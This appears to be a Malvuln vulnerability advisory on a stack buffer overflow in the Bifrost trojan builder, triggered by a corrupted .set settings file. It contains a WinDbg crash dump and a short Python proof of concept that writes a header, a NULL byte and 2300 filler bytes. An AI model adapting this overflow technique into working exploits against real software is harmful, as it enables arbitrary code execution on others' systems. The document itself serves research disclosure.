Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/db45a906a0a3747398b2b8a5faff5e44.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Constructor.Win32.Bifrose.ag
Vulnerability: Local Stack Buffer Overflow
Description: Bifrost crypted by Dr.G3NIUS, doesn't properly validate the IP address when importing Bifrost settings (.set) files. The IP address offset is located after a NULL byte which is preceded by the Bifrost file header "BifrostSettings". A corrupted Bifrost .set file containing an invalid IP address of about 2300 bytes will trigger a local stack buffer overflow overwriting the EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution.
Type: PE32
MD5: db45a906a0a3747398b2b8a5faff5e44
Vuln ID: MVID-2021-0177
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/18/2021

Memory Dump:
(11f8.1b40): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00187efc edx=0024e000 esi=00000003 edi=00000003
eip=7710ed3c esp=001861c4 ebp=00186354 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400          ret     14h

0:000> .ecxr
eax=41414141 ebx=00187efc ecx=00187efc edx=0024e000 esi=00187efc edi=00000000
eip=00447b16 esp=00186b04 ebp=00186b48 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
*** WARNING: Unable to verify checksum for Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe
*** ERROR: Module load completed but symbols could not be loaded for Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe
Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x47b16:
00447b16 ff90f4000000    call    dword ptr [eax+0F4h] ds:002b:41414235=????????

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16
00447b16 ff90f4000000    call    dword ptr [eax+0F4h]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00447b16 (Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x00047b16)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414235
Attempt to read from address 41414235

PROCESS_NAME:  Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414235

READ_ADDRESS:  41414235 

FOLLOWUP_IP: 
Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16
00447b16 ff90f4000000    call    dword ptr [eax+0F4h]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00001b40

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 00404a5a to 00447b16

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
00186b48 00404a5a 00000000 0018777c 00402ab1 Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x47b16
00186b54 00402ab1 0d660d19 00187d50 0000052c Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x4a5a
0018777c 00000000 00000000 00000000 00000000 Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+0x2ab1


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44

IMAGE_NAME:  Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  469cbcfa

FAILURE_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Constructor.Win32.Bifrose.ag.db45a906a0a3747398b2b8a5faff5e44.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_Constructor_Win32_Bifrose_ag_db45a906a0a3747398b2b8a5faff5e44+47b16


Exploit/PoC:
1) To create the corrupt bifrost .set file you need the "BifrostSettings" header followed by a NULL byte followed by the payload. Otherwise, will get not a valid settings file error.

import struct

f=open('DOOM.set', 'wb')
f.write("BifrostSettings".encode('ascii'))
f.write(struct.pack('B', 0))
f.write(str("A"*2300).encode('ascii'))
f.close()

2) Go to builder menu item in bifrost
3) Import the corrupt bifrost .set (settings) file, Done!


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